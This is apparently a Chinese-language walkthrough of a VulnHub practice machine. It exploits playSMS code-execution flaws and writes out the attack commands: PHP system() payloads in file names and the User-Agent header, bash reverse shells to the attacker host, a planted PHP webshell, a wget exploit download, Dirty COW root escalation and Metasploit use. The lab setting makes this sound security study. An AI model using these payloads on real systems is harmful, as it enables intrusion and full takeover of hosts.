VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有相关目标去完成(万分感谢提供靶机镜像的同学)。
靶机:
该靶机设定一些线索,引导用户得到相关信息,并使用了一个存在漏洞(代码执行漏洞)的Web应用系统版本。
环境:
流程:
老套路,先主机发现,本次使用 arp-scan
来发现主机
arp-scan -l
nmap -sS -Pn -A -T4 192.168.11.23
dirb http://192.168.11.23 /usr/share/dirb/wordlists/big.txt
whatweb -v -a 3 192.168.11.23
nmap --script="http-methods" 192.168.11.23
Web路径信息,标黑的为较重要的页面:
1)寻找信息,登入后台
访问目标站点,主页暂时没有发现有用信息,有robots文件,也没有发现有用信息。
之前在查看路径内容时,发现这个目录下有内容,而且可以被下载:
http://192.168.11.23/secure/
:可访问的非空目录
将文件保至本地并解压,但是提示需要解压密码,想到了http://192.168.11.23/nothing/pass
页面给出的几个疑似密码的字符串
使用freedom
作为密码成功解压,得到一个.mp3
文件
由于之前遇到过通过莫斯电码传递相关信息的题目
以为这次也是,但是无法播放,所以用编辑器打开查看源码,源码给出了一个url和账号:
访问给出的url得到一个需要登陆的后台,登录的服务是playSMS
,一个Web短信网关平台 (此时应该第一时间搜索该服务软件已知的漏洞,但是我急于登进系统发现漏洞而忘记了这件事)
账号已经给出:touhid
,密码自然又想到/nothing/pass
页面的密码字符串,果然使用diana
作为密码登入了系统。
2)发现两处漏洞
经过对所有选项的测试,发现以下两处可能会存在安全隐患:
在Send from file板块,发现系统后会将传入的文件名展示在页面,这就比较危险了,相当于提供了一个交互
既然是这样,那么自然就想到了代码执行漏洞,上传文件抓包,修改文件名为命令代码结果成功执行id命令:
system('id'); ?>
的确存在代码执行漏洞,当我兴奋地拿着bash的反弹shell:
echo "bash -i >& /dev/tcp/192.168.80.134/1234 0>&1" | bash
去建立连接时,结果却不可以,有过滤,而且经过测试,也不可以使用cat /etc/passwd
命令:
实在想不到怎么利用,就先放下了。
Phonebook板块有一个导入文件并识别CSV文件内容的功能,例如导入一个测试文件,页面会显示文件内容
既然可以交互,那么依照惯例,抓包试一下能否命令执行,结果是可以的
cat以下passwd文件,也是可以的
1)反弹shell
之前已经测试出,在导入文件处存在代码执行,那么就可以尝试能否建立反弹shell,将内容改为反弹shell命令:
('echo "bash -i >& /dev/tcp/192.168.11.11/9999 0>&1" | bash'); ?>
2)寻找可写目录,Web站点挂马
由于之前测试已经知道对当前目录没有写的权限,退回上一步查看Web目录下是否存在可写的目录,发现了两个存在写权限的目录:
在uploads目录下写入一个php测试文件
访问该文件,成功执行php文件,测试成功
ok,那就可以写一个php一句话木马,然后用蚁剑连接
3)内核漏洞,脏牛提权
Web挂马就到此,但是此时权限还比较低,因此需要提权,看一下当前系统地版本信息:
uname -a && cat /etc/issue
searchsploit Ubuntu 12.04
使用wget http://192.168.11.11/34134.c
命令从kali服务器下载至目标主机
编译运行,即可提权,但是编译出错??利用脏牛提权吧(其实原理一样,都是利用内核漏洞提权),同样的方法将dirty.c下载至目标主机Web目录下:
使用gcc编译
gcc -pthread dirty.c -o dirty -lcrypt
直接运行变异后的文件,会提示输入密码,该密码就是root用户的新密码,还会给出root用户的账户名
输入完稍等片刻,即可su切换用户,提权至root权限
查看flag,异常的炫酷
在kali上查找playsms
相关exp,果然有之前发现的两个漏洞点
1)利用漏洞建立反弹shell
查看Import File
的漏洞文档,发现文档中给出了利用方法
需要在导入的 CSV 文件中填入以下内容:
此时导入该 CSV文件,抓包修改User-Agent
的值为任意命令,即可执行。
从页面下载一个CSV文件,在其中填入指定内容:
导入该文件抓包,尝试修改User-Agent
为 whoami
,结果的确返回了执行结果
既然可以执行Linux命令,那么就可以建立反弹shell并提权了。
修改User-Agent为创建反弹shell的命令:
echo 'bash -i>&/dev/tcp/192.168.11.11/9999 0>&1' | bash
kali上监听9999端口,发包即可建立会话shell
成功反弹shell,那么剩下的步骤跟上边的就一样了,挂马提权,不再演示。
之前已知,此处存在代码执行漏洞,也已经查到了漏洞文档:
按照文档提示,将文件名改为以下命令:
('uname -a'); dia();?>.php
可以看到成功执行,但是并未理解文档中的利用方法,于是使用MSF查找相关漏洞,发现这两个漏洞在MSF中都有利用模块
就以Sendfromfile为例来进行渗透吧,选择对应的exp
查看需要设置的配置参数,如下:
使用 set 变量 值
的形式,配置所有参数,其中TARGETURI
就是上传文件页面的URI(注意:URI没有域名)
配置完成后run
运行,即可利用漏洞建立反弹shell
但是此时的shell并不是一个终端Terminal,以下命令无法使用,就无法提权
输入问号来看一下当前支持的命令,在系统命令栏发现了shell
,可用于建立一个执行系统命令的环境
输入shell
,再次输入whoami
,成功执行,并查看当前权限
但是这样还不是一个完整的终端环境,比如输入su
命令,会提示must be run from a terminal
。不过既然已经是系统命令环境了,那就可以使用python调用bash程序,来建立完整的Terminal环境
python -c 'import pty;pty.spawn("/bin/bash")'
剩下的提权步骤就和上边的一样了,要么内核提权,要么脏牛,我直接切换到了之前提权好的root用户。
整体步骤: